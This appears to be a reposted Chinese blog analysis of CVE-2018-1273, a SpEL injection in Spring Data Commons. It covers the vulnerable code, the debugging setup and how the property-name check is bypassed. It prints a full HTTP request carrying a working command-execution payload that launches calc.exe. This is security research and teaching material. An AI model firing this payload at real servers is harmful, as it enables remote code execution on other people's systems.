從CVE-2018-1273看漏洞分析


漏洞分析的邊界

漏洞分析最應該關注的是漏洞相關的代碼,至於其余的代碼可以通過關鍵位置下斷點,來理解大概功能。

其中最關鍵的就是了解數據流,找到離漏洞位置最近的 原始數據 經過的位置,然后開始往下分析,一直到漏洞位置。

一個漏洞的觸發的數據流動如下圖所示:

觸發漏洞,首先需要輸入數據,然后數據會通過一些通用的流程,比如請求參數的復制,傳遞之類的, 然后數據會傳到一個離漏洞點比較近的位置,然后進入漏洞邏輯,觸發漏洞。

所以在進行漏洞分析時我們需要做的工作主要是

  • 定位到離漏洞點比較近的數據位置(可以在關鍵位置下斷點,然后猜測參數和請求數據的關系)

  • 分析漏洞

CVE-2018-1273漏洞分析

靜態代碼分析

漏洞位於MapPropertyAccessor 類的 setPropertyValue 方法

    private static class MapPropertyAccessor extends AbstractPropertyAccessor {

        public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
            if (!this.isWritableProperty(propertyName)) {
                throw new NotWritablePropertyException(this.type, propertyName);
            } else {
                StandardEvaluationContext context = new StandardEvaluationContext();
                context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
                context.setTypeConverter(new StandardTypeConverter(this.conversionService));
                context.setRootObject(this.map);
                Expression expression = PARSER.parseExpression(propertyName);
                PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
                TypeInformation<?> owningType = leafProperty.getOwningType();
                TypeInformation<?> propertyType = leafProperty.getTypeInformation();
                propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
                if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
                    PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
                    if (descriptor == null) {
                        throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
                    }

                    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
                    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
                    if (typeDescriptor == null) {
                        throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
                    }

                    value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
                }

                expression.setValue(context, value);
            }
        }

函數調度參數值的內容為 POST 請求的參數名。

上述代碼的流程為

  • 首先通過 isWritableProperty 校驗參數名 , 檢測 參數名 是否為 controller 中設置的 From 映射對象中的成員變量。
  • 然后創建一個 StandardEvaluationContext , 同時 PARSER.parseExpression 設置需要解析的表達式的值為函數傳入的參數
  • 最后通過 expression.setValue 進行 spel 表達式解析。

動態調試分析

搭建調試環境

首先下載官方的示例程序

https://github.com/spring-projects/spring-data-examples

然后切換到一個比較老的有漏洞的版本

git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d

最后用 idea 導入 maven 項目。

然后運行 web/example 項目即可

我們在 setPropertyValue 下個斷點,然后通過 burp 發送 payload 過去

POST /users HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/users
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Connection: close
Upgrade-Insecure-Requests: 1

username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx

其中執行命令的 payload 如下

[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]

# 在 spel 中有兩個變量可以訪問,為 #this 和 #root, 其中 #root 通過 setRootObject 設置 , 我們可以通過 #this 以反射的方式執行命令。

可以看到參數為 我們 POST 請求中的 參數名部分 。然后他會進入 isWritableProperty 進行校驗,校驗通過才能觸發漏洞。

isWritableProperty 最后會調用 getPropertyPath 進行校驗。

        private PropertyPath getPropertyPath(String propertyName) {
            String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
            return PropertyPath.from(plainPropertyPath, this.type);
        }

首先通過正則取出需要設置的參數名 (arg[] 的作用是設置 arg 數組中的值, 這里就相當於取出 arg).

然后判斷 plainPropertyPath 是不是 this.type 里面的一個屬性。

其中 this.type 就是在 controller 處用到的用於接收參數的類。

所以我們用這個類的一個字段 + [payload] 構造 spel payload 就可以執行 spel 表達式。

然后就會彈計算器了。

總結

根據漏洞作者博客,這個漏洞的發現過程是通過 find-sec-bug 這個插件匹配到 spel 表達式的解析的位置,然后從這個位置回溯,發現該函數的參數就是 POST參數名部分(用戶可控的部分),於是分析有漏洞的函數,發現只要過掉開頭的 check 就可以觸發漏洞。

經過以往的經驗,我認為常規漏洞大都是 特征 + 程序特定邏輯 ---> 漏洞

參考

https://xz.aliyun.com/t/2269#toc-1
http://blog.nsfocus.net/cve-2018-1273-analysis/
https://gosecure.net/2018/05/15/beware-of-the-magic-spell-part-1-cve-2018-1273/
https://blog.csdn.net/qq_22655689/article/details/79920104


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM